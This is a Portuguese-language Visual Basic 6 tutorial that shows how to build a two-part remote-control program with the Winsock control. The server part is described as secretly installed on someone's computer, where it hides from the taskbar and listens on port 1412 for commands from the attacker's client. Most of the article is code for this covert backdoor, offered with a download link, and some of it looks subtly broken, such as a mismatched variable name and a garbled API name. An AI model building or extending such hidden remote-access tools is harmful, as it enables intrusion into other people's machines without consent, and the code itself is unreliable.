VB6 -  Controle Remoto

Com certeza você já ouvi falar em programas que podem ser instalados em seu computador sem que você saiba de forma a permitir o controle da sua máquina pelo invasor. Pode ter certeza , fazer isto é mais fácil do que você imagina. Neste artigo eu vou mostrar como você pode criar um programa que pode ser instalado na máquina cliente e que envia comandos para que o servidor o execute.

Na verdade isto é apenas uma forma de mostrar como usar o controle Winsock do Visual Basic. Publiquei diversos artigos sobre a utilização do controle Winsock. Para conferir alguns veja os links abaixo:

Irei criar dois programas : o cliente e o servidor. ( a denominação é relativa pois se pensarmos em termos de serviços qualquer máquina pode atuar como cliente e como servidor)

O programa servidor ficaria instalado na máquina a partir da qual você quer controlar. Não poderia ser visível e ficari aguardando os comandos do programa cliente que ficaria na máquina do invasor. É obvio que para o nível aqui pretendido não crei um código sofisticado pois quero apenas mostrar que a operação é possível e relativemente simples de ser feita.

Eu também não vou perder tempo detalhando os comandos do Winsock pois já os abordei nos artigos acima citados.

O projeto do artigo funciona assim:

O projeto Servidor

Antes de qualquer iniciativa você deve incluir no seu projeto o componente Winsock. No menu Project|Components selecione : Microsoft Winsock Control X.0 (onde x é a versão do seu controle. Eu estou usando a 6.0)

No projeto Servidor temos o código do evento Load do formulário onde o servidor fica 'escutando' uma porta(no meu caso a porta 1412) aguardando uma conexão. Abaixo o formulário - frmServidor - e o código do evento Load:

Private Sub Form_Load()

On Error Resume Next

If Not App.PrevInstance = True Then
     winsockServidor.LocalPort = 1412
     winsockServidor.Listen
     EsconderDaBarraDeTarefas
Else
     Unload Me
End If

End Sub

A seguir no evento DataArrival (ativado quando o comando estiver sendo enviado) do Servidor esta o código que irá processar os comandos recebidos do cliente e executar o serviço solicitado.

Private Sub winsockServidor_DataArrival(ByVal bytesTotal As Long)

On Error Resume Next
Dim comando As String

winsockServidor.GetData str

Select Case comando
   Case "note"
      Shell "notepad.exe", vbMaximizedFocus
   Case "calc"
      Shell "calc.exe", vbMaximizedFocus
   Case "pain"
      Shell "pbrush", vbMaximizedFocus
   Case "close"
      CloseMe
   Case "ctrl"
      Shell "control", vbMaximizedFocus
   Case "mplayer"
      Shell "mplayer", vbMaximizedFocus
   Case "scan"
      Shell "scandskw", vbMaximizedFocus
   Case "cddooropen"
       retvalue = mciSendcomandoing("set CDAudio door open", returncomandoing, 127, 0)
   Case "dir"
       CriaNovoDiretorio ("c:\macoratti\Teste1\")
   Case "closeme"
       winsockServidor.Close
       Unload Me
    Case "wintime"
       Dim lngReturn As Long
      lngReturn = GetTickCount()
       info = ((lngReturn / 1000) / 60) & " minutos."
      winsockServidor.SendData info
End Select
End Sub

O projeto Cliente

Antes de qualquer iniciativa você deve incluir no seu projeto o componente Winsock. No menu Project|Components selecione : Microsoft Winsock Control X.0 (onde x é a versão do seu controle. Eu estou usando a 6.0)

O projeto cliente irá possui a interface mostrada na figura abaixo. Nela temos o controle winsock configurado para efetuar a conexão com o servidor na porta 1412 através de um número IP fornecido. Após a conexão ser efetivada podemos enviar alguns comandos que serão acionados quando você clicar em um dos botões de comando.

O código do botão - Conectar - é o seguinte :

Private Sub Command1_Click()

On Error GoTo err_Command1_Click

winsockCliente.RemotePort = 1412
If txtConectarServidor.Text = "" Then
    MsgBox "Informe o endereço IP do servidor"
Else
   winsockCliente.RemoteHost = txtConectarServidor.Text
   winsockCliente.Connect
End If

If winsockCliente.State = sckConnected Then
    Me.Caption = "Conectado ao servidor remoto " & txtConectarServidor.Text
    frmPainel.Enabled = True
Else
    Me.Caption = "Não conectado ao servidor remoto " & txtConectarServidor.Text
    frmPainel.Enabled = False
End If

Exit Sub

err_Command1_Click:
Screen.MousePointer = vbNormal
MsgBox "Ocorreu o seguinte erro : " & vbCrLf & vbTab & _
              "Procedure: Command1_Click" & vbCrLf & vbTab & _
             "Erro No. : " & Err.Number & vbCrLf & vbTab & _
             "Descrilçao : " & Err.Description, vbCritical + vbOKOnly, App.EXEName
End Sub

Cada evento Click de cada botão de comando irá enviar um comando para o servidor. Abaixo alguns dos comandos enviados:

Private Sub cmdcalc_Click()
On Error GoTo err_cmdcalc_Click

Dim comando As String
comando = "calc"
winsockCliente.SendData comando

Exit Sub

err_cmdcalc_Click:
Screen.MousePointer = vbNormal
MsgBox "Ocorreu o seguinte erro : " & vbCrLf & vbTab & _
           "Procedure: cmdcalc_Click" & vbCrLf & vbTab & _
           "Erro No. : " & Err.Number & vbCrLf & vbTab & _
           "Descrilçao : " & Err.Description, vbCritical + vbOKOnly, App.EXEName
End Sub
Envia comando para abrir a calculadora no Servidor
 
Private Sub Command4_Click()
   Dim comando As String
   comando = "scan"
   winsockCliente.SendData comando
End Sub
Envia comando para executar o ScanDisk no Servidor
 
Private Sub Command7_Click()
   Dim comando As String
   comando = "dir"
   winsockCliente.SendData comando
   MsgBox "O diretorio c:\macoratti\Teste1\ foi criado. " & winsockCliente.RemoteHost
End Sub
Envia comando para criar diretório no Servidor

De brinde mostramos o formulário de saída na forma elípitica.(Para sair apenas click no formulário) .Veja na figura abaixo:

Agora é só você rodar e fazer os teste. Você pode incluir mais comandos e sofisticar ainda mais o projeto . Juízo...

Para pegar o projeto completo clique : aqui

Até a próximo artigo VB...


José Carlos Macoratti